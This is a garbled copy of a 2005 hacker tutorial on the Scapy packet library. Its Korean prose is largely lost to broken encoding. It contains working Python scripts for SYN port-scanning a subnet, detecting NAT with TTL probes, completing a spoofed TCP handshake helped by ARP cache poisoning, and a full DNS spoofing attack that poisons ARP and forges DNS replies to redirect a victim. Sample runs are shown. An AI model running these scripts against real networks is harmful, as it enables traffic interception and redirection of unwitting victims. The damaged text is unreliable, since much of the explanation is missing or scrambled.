

By Rob klein Gunnewiek aka detach

<http://hackaholic.org/>

: <http://wowhacker.org/>

2005 3 28

$$\left(\begin{array}{c} \text{ } \\ \text{ } \\ \text{ } \end{array} \right)$$

=X=X=X=X=

(packet construction)

(manipulation)

Python

- Python

TCP/IP

Nmap

Hping2

Idle scanning

Libnet

가?

Libpcap

(sniffer)

가?

(reconnaissance)

가

=X=X=X=X=X=X=

, 가

가

(portscanner) , C - Class
80 . python
;

```
>>> p=IP(dst="hackaholic.org/24")/TCP(dport=80, flags="S")
>>> sr(p)
```

! 가 80 listen .

```
>>> results = _[0]
>>> for pout, pin in results:
... if pin.flags == 2:
... print pout.dst
...
24.132.156.5
24.132.156.19
24.132.156.24
24.132.156.72
24.132.156.102
24.132.156.107
24.132.156.121
24.132.156.141
24.132.156.150
24.132.156.148
24.132.156.204
24.132.156.211
>>>
```

Scapy ! 가 ;
hackaholic.org /24 - subnet TCP destination
port 80 SYN flag .
, , SYN flag (connection) .
SA(SYN/ACK) 가 (listening) , RA (RESET/ACK) 가
, 가 .

Scapy
for-loop (dissect) SA destination IP 가

Scapy Philippe Biondi가 , <http://www.cartel-securite.fr/pbiondi/projects/scapy/>
(documentation) ,

가 Scapy
 . Scapy , (documentation)
 가 .

Scapy Setup

=X=X=X=X=X=X=X=

가 Python/Scapy
 .
 , Python 가가 . ,
 . 가 Python Scapy
 . 가
 가 .
 , Scapy (environment) . GNU/Linux ()
 가 Python
 . Scapy가 2.2 Python
 . 'python' .

```
detach@luna:~$ python
Python 2.3.5c1 (#2, Jan 27 2005, 10:49:01)
[GCC 3.3.5 (Debian 1:3.3.5-6)] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> if 1+1 == 2:
... print "Thank goodness!"
...
Thank goodness!
>>>
```

가 Python 가 가
 가 Python
 :

- 1) (statement block) { } BEGIN, END , 4
 (indentation) .
- 2) (separator) ()

3) IF WHILE 가 ,
: (expression)

Python 가 (native interactive mode)

· “python” “>>>” 가 (scripting)

가 · Python (toolkit)

Python 가 scrapy . <http://www.cartel-securite.fr/pbiondi/projects/scapy/> scrapy .
0.9.17beta . Scapy

```
detach@luna: ~/lab/scapy-0.9.17 $ sudo python ./scapy.py
Welcome to Scapy (0.9.17.1beta)

>>>
```

가 (argument)
scapy가 (log)

Nutshell Scapy(Scapy in a Nutshell)

=X=X=X=X=X=X=X=X=

가 Scapy 가 .

- Scapy (send), (receive), & (send&receive)
 - 가 .
- Scapy 2 (datalink) 3 (network) .
- Scapy p0f() arpcachepoison .
- (responses) (dissect) (reuse) .
-
- Scapy 가
 - . python (reconnaissance) 가 ,

DoS

scapy 가 / Is() lsc() .

```
>>> Is()
Dot11Elt : 802.11 Information Element
Dot11 : 802.11
SNAP : SNAP
IPerror : IP in ICMP
BOOTP : BOOTP
PrismHeader : abstract packet
Ether : Ethernet
TCP : TCP
Dot11ProbeResp : 802.11 Probe Response
TCPerror : TCP in ICMP
Dot11AssoResp : 802.11 Association Response
Dot11ReassoReq : 802.11 Reassociation Request
Packet : abstract packet
UDPerror : UDP in ICMP
ISAKMP : ISAKMP
Dot11ProbeReq : 802.11 Probe Request
NTP : NTP
Dot11Beacon : 802.11 Beacon
DNSRR : DNS Resource Record
STP : Spanning Tree Protocol
ARP : ARP
UDP : UDP
Dot11ReassoResp : 802.11 Reassociation Response
Dot1Q : 802.1Q
ICMPerror : ICMP in ICMP
Raw : Raw
IKETransform : IKE Transform
IKE_SA : IKE SA
ISAKMP_payload : ISAKMP payload
LLPPP : PPP Link Layer
IP : IP
LLC : LLC
Dot11Deauth : 802.11 Deauthentication
Dot11AssoReq : 802.11 Association Request
ICMP : ICMP
Dot3 : 802.3
EAPOL : EA POL
Dot11Disas : 802.11 Disassociation
Padding : Padding
DNS : DNS
Dot11Auth : 802.11 Authentication
Dot11ATIM : 802.11 ATIM
```

DNSQR : DNS Question Record

EAP : EAP

IKE_proposal : IKE proposal

>>>

lsc() (Scapy) 가

>>> lsc()

sr : Send and receive packets at layer 3

sr1 : Send packets at layer 3 and return only the first answer

srp : Send and receive packets at layer 2

srp1 : Send and receive packets at layer 2 and return only the first answer

srloop : Send a packet at layer 3 in loop and print the answer each time

srploop : Send a packet at layer 2 in loop and print the answer each time

sniff : Sniff packets

p0f : Passive OS fingerprinting: which OS emitted this TCP SYN

arpcachepoison : Poison target's cache with (your MAC,victim's IP) couple

send : Send packets at layer 3

sendp : Send packets at layer 2

traceroute : Instant TCP traceroute

arping : Send ARP who-has requests to determine which hosts are up

ls : List available layers, or infos on a given layer

lsc : List user commands

queso : Queso OS fingerprinting

nmap_fp : nmap fingerprinting

report_ports : portscan a target and output a LaTeX table

dyndns_add : Send a DNS add message to a nameserver for "name" to have a new "rdata"

dyndns_del : Send a DNS delete message to a nameserver for "name"

>>>

(generic functions) :

- Net()
- IP(), ICMP(), TCP(), Ether(),

IP(), ICMP() . ls()

```
>>> ip = IP()
>>> icmp = ICMP()
>>> ip
<IP |>
>>> icmp
<ICMP |>
>>> ip.dst = "192.168.9.1"
>>> icmp.dis play()
--- [ ICMP ] ---
type = echo-request
code = 0
chksum = 0x0
id = 0x0
seq = 0x0
>>> sr1(ip/icmp)
Begin emission:
...*Finished to send 1 packets.
```

```
>>>
```

가 . 가

:

```
>>> p = IP(dst="192.168.9.1")/ICMP()
```

```
>>> sr1(p)
```

Begin emission:

...*Finished to send 1 packets.

Received 4 packets, got 1 answers, remaining 0 packets

<IP version=4L ihl=5L tos=0x0 len=28 id=16714 flags= frag=0L ttl=64

proto=ICMP chksum=0xa634 src=192.168.9.1 dst=192.168.9.17 options='' |<ICMP

type=echo-reply code=0 chksum=0xffff id=0x0 seq=0x0 |<Padding

load=' \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x16 \x89 \xdb \x88'

```
|>>>
```

```
>>>
```

가 가 ls()

(argument)

```
>>> ls(TCP)
```

sport : ShortField = (20)

dport : ShortField = (80)

seq : IntField = (0)

ack : IntField = (0)

dataofs : BitField = (None)

reserved : BitField = (0)

flags : FlagsField = (2)

window : ShortField = (0)

chksum : XShortField = (None)

urgptr : ShortField = (0)

options : TCPOptionsField = ({})

```
>>>
```

destination port 80 , source port 20 ,

:

```
>>> i = IP()
```

```
>>> i
```

```
<IP |>
```



```
>>> i.dst = "192.168.9.1"
>>> i
<IP dst=192.168.9.1 |>
>>> i.src = "192.168.9.2"
>>> del(i.dst)
>>> i
<IP src=192.168.9.2 |>
>>>
```

```

,
i.display()
.
scapy
,
TCP
(enable)
TCP
.
,
.

```

ls()

```
>>> ls(i)
version : BitField = 4 (4)
ihl : BitField = None (None)
tos : XByteField = 0 (0)
len : ShortField = None (None)
id : ShortField = 1 (1)
flags : FlagsField = 0 (0)
frag : BitField = 0 (0)
ttl : ByteField = 64 (64)
proto : ByteEnumField = 0 (0)
checksum : XShortField = None (None)
src : SourceIPField = '192.168.9.2' (None)
dst : IPField = '127.0.0.1' ('127.0.0.1')
options : IPOptionsField = " (")
>>>
```

```

(overloaded)
.
(payload) 가 , :
```

```
>>> p = IP(dst="192.168.9.1")/TCP(dport=22)/"AAAAAAAAAAAA"
>>> p
<IP proto=TCP dst=192.168.9.1 |<TCP dport=22 |<Raw load='AAAAAAAAAAAA' |>>>
>>>
```

```

layer 2
sendp, srp, srploop srp1
가
'p' PF_PACKET , layer 2 Linux

```

'type'

Raw	(dissection)
1	1
2	2
3	3
4	4
5	5
6	6
7	7
8	8
9	9
10	10
11	11
12	12
13	13
14	14
15	15
16	16
17	17
18	18
19	19
20	20
21	21
22	22
23	23
24	24
25	25
26	26
27	27
28	28
29	29
30	30
31	31
32	32
33	33
34	34
35	35
36	36
37	37
38	38
39	39
40	40
41	41
42	42
43	43
44	44
45	45
46	46
47	47
48	48
49	49
50	50
51	51
52	52
53	53
54	54
55	55
56	56
57	57
58	58
59	59
60	60
61	61
62	62
63	63
64	64
65	65
66	66
67	67
68	68
69	69
70	70
71	71
72	72
73	73
74	74
75	75
76	76
77	77
78	78
79	79
80	80
81	81
82	82
83	83
84	84
85	85
86	86
87	87
88	88
89	89
90	90
91	91
92	92
93	93
94	94
95	95
96	96
97	97
98	98
99	99
100	100

```
>>> packet = IP(dst="192.168.0.1")/TCP(dport=25)
>>> raw_packet = str(packet)
>>> type(raw_packet)
<type 'str'>
>>> IP(raw_packet)
<IP version=4L ihl=5L tos=0x0 len=40 id=1 flags= frag=0L ttl=64 proto=TCP
chksum=0xf36c src=192.168.6.17 dst=192.168.0.1 options="" |<TCP sport=20
dport=25 seq=0L ack=0L dataofs=5L reserved=16L flags=S window=0
chksum=0x2853 urgptr=0 |>>
>>> TCP(raw_packet)
<TCP sport=17664 dport=40 seq=65536L ack=1074197356L dataofs=12L
reserved=0L flags=PUC window=1553 chksum=0xc0a8 urgptr=1 options=[] |>
>>> dissected_tcp = TCP(raw_packet)
>>> dissected_tcp
<TCP sport=17664 dport=40 seq=65536L ack=1074197356L dataofs=12L
reserved=0L flags=PUC window=1553 chksum=0xc0a8 urgptr=1 options=[] |>
>>> raw_packet
'E \x00 \x00( \x00 \x01 \x00 \x00@ \x06 \xf3l \xc0 \xa8 \x06 \x11 \xc0 \xa8 \x
00 \x01 \x00 \x14 \x00 \x19 \x00 \x00 \x00 \x00 \x00 \x00 \x00P \x02 \x0
0 \x00(S \x00 \x00'
```

Scapy (Building your own Scapy toolset)

=X

(reconnaissance)

script

(interactive) :

```
detach@luna:~/lab/scapy-0.9.17$ cat pscan.py
#!/usr/bin/env python
```

```
import sys
from scrapy import *
conf.verb=0
```

```

if len(sys.argv) != 2:
    print "Usage: ./pscan.py <target>"
    sys.exit(1)

```

```

target=sys.argv[1]

```

```

p=IP(dst=target)/TCP(dport=80, flags="S")
ans,unans=sr(p, timeout=9)

```

```

for a in ans:
    if a[1].flags == 2:
        print a[1].src < BR>
    Okay, let's try it:

```

```

detach@luna:~/lab/scapy-0.9.17$ sudo ./pscan.py 192.168.9.0/24
192.168.9.1
192.168.9.2
192.168.9.11
192.168.9.14

```

가? Dealing with Firewalls
<http://hackaholic.org/papers/firewalls.txt> 가 traceroute/firewalk

. 가 , TTL(Time To Live) (specific port) 가
. NAT가 (forwarding)

.
가 :

- TTL (detect)
-
- 가 (listening) NAT

ICMP
sr1() 가 . TTL .
TCP SYN TTL (set).
SYN/ACK(RST/ACK) NAT ,
NAT .

TTL ;

```

$ sudo python ./scapy.py

```

Welcome to Scapy (0.9.17.1beta)

```
>>> ttl = 0
>>> def mkpacket():
... global ttl
... ttl = ttl + 1
... p = IP(dst="hackaholic.org", ttl=ttl)/ICMP()
... return p
...
>>> res = sr1(mkpacket())
Begin emission:
...*Finished to send 1 packets.
```

Received 4 packets, got 1 answers, remaining 0 packets

```
>>> while res.type == 11:
... res = sr1(mkpacket())
...
Begin emission:
.Finished to send 1 packets.
*
```

Received 2 packets, got 1 answers, remaining 0 packets

```
Begin emission:
.Finished to send 1 packets.
*
```

Received 2 packets, got 1 answers, remaining 0 packets

```
Begin emission:
.Finished to send 1 packets.
*
```

***** Etcetera,

```
>>> ttl
15
>>>
```

```
15 (hop)
TTL 15 . ICMP() icmp-echo-request
(parameter) . ICMP가 (
) ICMP UDP TCP .
NAT (setting) (map) , TCP
(closed) . , 가 NAT
가? ( : NAT .)
, 가 15 가 NAT
가 TTL .
ICMP() TCP() dport=80
. , (answer) ICMP가 ,
```

```

'type'      가      TCP      (response)      .      가
      . 'ttl'      15      (      ),
      NAT      가      .

```

```

,      script가      .      script      'host'      'dport'
(argument)      :

```

```
#!/usr/bin/env python
```

```

import sys
from scapy import *
conf.verb=0

```

```

if len(sys.argv) != 3:
print "Usage: ./firewalk.py <target> <dport>"
sys.exit(1)

```

```

dest=sys.argv[1]
port=sys.argv[2]

```

```
ttl = 0
```

```

def mkicmppacket():
global ttl
ttl = ttl + 1
p = IP(dst=dest, ttl=ttl)/ICMP()
return p

```

```

def mktcppacket():
global ttl, dest, port
ttl = ttl + 1
p = IP(dst=dest, ttl=ttl)/TCP(dport=int(port), flags="S")
return p

```

```

res = sr1(mkicmppacket())
while res.type == 11:
res = sr1(mkicmppacket())
print "+"

```

```

nat_ttl = ttl
# Since we now know our minimum TTL, we don't need to reset TTL to zero
# We do need to decrease TTL or otherwise mkpacket will increase it again
# which would result in every port being detected as forwarded
# (      TTL      , TTL 0      가
#      TTL      가      o      mkpacket      TTL
#      가      )

```

```
ttl = ttl - 1
```

```
res = sr1(mktcp packet())  
while res.sproto == 1 and res.type == 11:  
    res = sr1(mktcp packet())
```

```
if res.proto != 6:  
    print "Error"  
    sys.exit(1)
```

```
if nat_ttl == ttl: print "Not NATed (" + str(nat_ttl) + ", " + str(ttl) + ")"  
else: print "This port is NATed. firewall TTL is " + str(nat_ttl) + ", TCP port TTL is " + str(ttl)
```

```
sys.exit(0)
```

Let's see how it goes:

```
$ sudo ./firewalk.py XX.XXX.XXX.XX 5900  
+  
+  
***** Etcetera  
This port is NATed. Firewall TTL is 10, TCP port TTL is 11  
$
```

```
$ sudo ./firewalk.py google.com 80  
+  
+  
***** Etcetera  
Not NATed (16, 16)  
$
```

Hping3 (HTCL) :-D

, script 가 NAT , NAT 가 .
 , 가 .
(forwarded port) 가 (incoming) TTL 가
 . 가 .
 . 가 IP
LAN TCP (connection) .
(blind spoofing) .
 . TCP 가 TCP
handshake 가 ☺ TCP/IP
가

가



:

```
#!/usr/bin/env python
```

```
import sys
from scapy import *
conf.verb=0
```

```
if len(sys.argv) != 4:
    print "Usage: ./spoof.py <target> <spoofed_ip> <port>"
    sys.exit(1)
```

```
target = sys.argv[1] < BR>spoofed_ip = sys.argv[2]
port = int(sys.argv[3])
```

```
p1=IP(dst=target,src=spoofed_ip)/TCP(dport=port,sport=5000,flags='S')
send(p1)
print "Okay, SYN sent. Enter the sniffed sequence number now: "
```

```
seq=sys.stdin.readline()
print "Okay, using sequence number " + seq
```

```
seq=int(seq[:-1])
p2=IP(dst=target,src=spoofed_ip)/TCP(dport=port,sport=5000,flags='A',ack=seq+1,seq=1)
send(p2)
```

```
print "Okay, final ACK sent. Check netstat on your target :-)"
```

IP

LAN

ARP

(sender) MAC

가

MAC

(local subnet) IP

가

"SYN sent"

```
p = ARP()
p.op = 2
p.hwsrc = "00:11:22:aa:bb:cc"
p.psrc = spoofed_ip
p.hwdst = "ff:ff:ff:ff:ff:ff"
p.pdst = target
send(p)
```

ARP (poisoning) . (* * IP
 , MAC 가
 ; (replies) MAC
 .
 .
 :

```
$ sudo python ./spoof.py 192.168.9.14 123.123.123.123 22
Okay, SYN sent. Enter the sniffed sequence number now:
231823219
Okay, using sequence number 231823219
```

```
Okay, final ACK sent. Check netstat on your target :-)
$
```

```
netstat ACK .
```

```
tcp 0 0 devil.hengelo.gaast:ssh 123.123.123.123:5000 SYN_RECV
tcp 0 0 devil.hengelo.gaast:ssh 123:123.123.123:5000 ESTABLISHED
```

```
가? TCP handshake
.
:

- sequence number acknowledgement number 0
  SYN packet .
- listening SYN , sequence number
  sequence number acknowledgement number (seq+1), 0+1=1
  acknowledge IP .
- (sniff) sequence number .
  , script
  가 . Sequence number 1 가
  acknowledgement number가 . (number) ACK
  TCP ESTABLISHED . (
  (half open) )

가 ,
sequence number . 가 sequence number
```


, - (address-based) (trust relationship)

TCP sequence number

ISN (sequence number) (randomization) ,
(trust relationship)

(blind connection hijacking) 가 .

RESET :

- / SN

- 4-tuple destination/source address/port

TCP/IP . , DSL , WLAN
US Robotics

NAT . ,

<http://ap/natlist.txt>:

- 0) UDP 0.0.0.0 <-> 192.168.123.254:1212, out_port:60005, last_use:32
- 1) UDP 0.0.0.0 <-> 192.168.123.254:1211, out_port:60004, last_use:32
- 2) UDP 0.0.0.0 <-> 192.168.123.254:1210, out_port:60003, last_use:32
- 3) UDP 0.0.0.0 <-> 192.168.123.254:1209, out_port:60002, last_use:45
- 4) UDP 0.0.0.0 <-> 192.168.123.254:1207, out_port:60001, last_use:17

가? Sequence number ,

UDP “ ” TCP

. reset(kill)

sequence number .

, . ARP

(traffic redirection) .

DNS .

Scapy 가 .

DNS .

, DNS (query) .

가 DNS ,
DNS). 가 DNS hackaholic.org
‘.’ 03h(hex) . .

, Scapy DNS :

```
>>> ls(DNS())
id : ShortField = 0 (0)
qr : BitField = 0 (0)
opcode : BitEnumField = 0 (0)
aa : BitField = 0 (0)
tc : BitField = 0 (0)
rd : BitField = 0 (0)
ra : BitField = 0 (0)
z : BitField = 0 (0)
rcode : BitEnumField = 0 (0)
qdcount : DNSRRCountField = 0 (None)
ancount : DNSRRCountField = 0 (None)
nscount : DNSRRCountField = 0 (None)
arcount : DNSRRCountField = 0 (None)
qd : DNSQRField = None (None)
an : DNSRRField = None (None)
ns : DNSRRField = None (None)
ar : DNSRRField = None (None)
>>>
```

RFC (1035) DNS .

ID: 16-bit (identifier) OS가 .
OS (response)가 (ID 가
ID).

QR: Query Type. (0 (question) , 1)

OPCODE: (4-). 0 (standard query) , 1
(inverse query), 2 (server status request) .

QDCOUNT: (1)

QD: (request field). 3 ;
QNAME: host/domainname (), : ‘.’ \ x03 .

, QNAME newline (\ n) 가 .

QTYPE: 2- (01)

QCLASS: 2- (Internet 01)

(request field) NUL - .

, . 192.168.9.1 . 가

(transport protocol) UDP :

```
>>> i = IP()
>>> u = UDP()
>>> d = DNS()
>>> i.dst = "192.168.9.1"
>>> u.dport = 53
>>> u.sport = 31337
>>> d.id = 31337
>>> d.qr = 0
>>> d.opcode = 0
>>> d.qdcount = 1
>>> d.qd = ' \ nhackaholic \ x03org \ x00 \ x00 \ x01 \ x00 \ x01'
>>> packet = i/u/d
>>> sr1(packet)
Begin emission:
... *Finished to send 1 packets.
```

```
Received 4 packets, got 1 answers, remaining 0 packets
<IP version=4L ihl=5L tos=0x0 len=188 id=12111 flags=DF frag=0L ttl=64 proto=
UDP chksum=0x777f src=192.168.9.1 dst=192.168.9.17 options="" |<UDP sport=53
dport=31337 l en=168 chksum=0xab33 |<DNS id=31337 qr=1L opcode=16 aa=0L tc=0L
rd=0L ra=1L z=8L rcode=ok qdcount=1 ancourt=1 nscount=5 arcount=0 qd=<DNSQR q
name='hackaholic.org.' qtype=A qclass=IN |> an=<DNSRR rname='hackaholic.org.
' type=A rclass=IN ttl=661L rdata='24.132.169.84' |> ns=<DNSRR rname='hackah
olic.org.' type=NS rclass=IN ttl=1177L rdata='dns4.name-services.com.' |<DNSR
R rname='hackaholic.org.' type=NS rclass=IN ttl=1177L rdata='dns5.name-servi
ces.com.' |<DNSRR rname='hackaholic.org.' type=NS rclass=IN ttl=1177L rdata=
'dns1.name-services.com.' |<DNSRR rname='hackaholic.org.' type=NS rclass=IN
ttl=1177L rdata='dns2.name-services.com.' |<DNSRR rname='hackaholic.org.' ty
pe=NS rclass=IN ttl=1177L rdata='dns3.name-services.com.' |>>>> ar=0 |<Paddi
ng load='6g \ xa3 \ xf8' |>>>>
>>>
```

;

```
>>> res =sr1(packet)
```

Begin emission:
.*Finished to send 1 packets.

Received 2 packets, got 1 answers, remaining 0 packets
>>> res.an.rdata
'24.132.169.84'
>>>

가? DNS (forge) ,
.
DNS ..
가 :
A B 가 R . R
.
A , B .
B (looked up) A (resolve)
B 가가 URL ..
A 가 (set up) (host B
Internet Explorer)
A 가 .. /etc/hosts A
'google.com' . Windows (
B) (%windir% \ System32 \ Drivers \ etc IIRC) .
가 (LAN) DNS . IP
가 :

Host A: 192.168.123.100
Host B: 192.168.123.101
Host R: 192.168.123.254

DNS DNS (response) 가 .
DNS ID (answer) .
B가 DNS (sniff) .
가 R A . ARP

. DNS (lookup) (forged) ARP
 , DNS (reply) .
 A 가 가 가

```
#!/usr/bin/env python
```

```
import sys
from scapy import *
conf.verb=1
```

```
#### Adapt the following settings ####
```

```
conf.iface = 'eth2'
```

```
mac_address = '00:11:22:AA:BB:CC' # Real Mac address of interface conf.iface (Host A)
```

```
####
```

```
if len(sys.argv) != 4:
```

```
    print "Usage: ./spoof.py <dns_server> <victim> <impersonating_host>"
```

```
    sys.exit(1)
```

```
dns_server = sys.argv[1]
```

```
target=sys.argv[2]
```

```
malhost = sys.argv[3]
```

```
timevalid = ' \ x00 \ x00 \ x07 \ x75'
```

```
alen = ' \ x00 \ x04'
```

```
def arpspoof(psrc, pdst, mac):
```

```
    a = ARP()
```

```
    a.op = 2
```

```
    a.hwsrc = mac
```

```
    a.psrc = psrc
```

```
    a.hwdst = "ff:ff:ff:ff:ff:ff"
```

```
    a.pdst = pdst
```

```
    send(a)
```

```
def mkdnsresponse(dr, malhost):
```

```
    d = DNS()
```

```
    d.id = dr.id
```

```
    d.qr = 1
```

```
    d.opcode = 16
```

```
    d.aa = 0
```

```
    d.tc = 0
```

```
    d.rd = 0
```

```
    d.ra = 1
```

```

d.z = 8
d.rcode = 0
d.qdcount = 1
d.ancount = 1
d.nscount = 0
d.arcount = 0
d.qd = str(dr.qd)
d.an = str(dr.qd) + timevalid + alen + inet_aton(malhost) < BR>return d

```

```

ethlen = len(Ether())
iplen = len(IP())
udplen = len(UDP())

```

```

arp spoof(dns_server, target, mac_address)
p = sniff(filter='port 53', iface='eth2', count=1)

```

```

e = p[0]
t = str(e)
i = IP(t[ethlen:])
u = UDP(t[ethlen + iplen:])
d = DNS(t[ethlen + iplen + udplen:])

```

```

dpkt = mkdnsresponse(d, malhost)

```

```

dpkt.display()

```

```

f = IP(src=i.dst, dst=i.src)/UDP(sport=u.dport, dport=u.sport)/dpkt
send(f)

```

가 , B A
. ('mac_address')

```

detach@luna:~/lab/scapy-0.9.17$ ./spoof.py
Usage: ./spoof.py <dns_server> <victim> <impersonating_host>
detach@luna:~/lab/scapy-0.9.17$ sudo ./spoof.py 192.168.123.254 192.168.123.101
192.168.123.100

```

B ARP (R 가 MAC가 A
MAC), DNS .
mkdnsresponse() 가 DNS . DNS
(spoofed) 100 !

:

```

detach@luna:~/lab/scapy-0.9.17$ sudo ./spoof.py 192.168.123.254 192.168.123.101
192.168.123.100

```

■

---[DNS]---

$$qr = 1$$
$$aa = 0$$

rd = 0

$$z = 8$$

qdcoun = 1

```
nscount = 0
```

```
qd = '\x05start\x07mozilla\x03org\x00\x00\x01\x00\x01'
```

' \ x05start \ x07mozilla \ x03org \ x00 \ x00 \ x01 \ x00 \ x01 \ x00 \ x00 \ x07u \ x00 \ x

ns = 0

detach@luna:~/lab/scapy-0.9.17\$

가

RFC

 Λ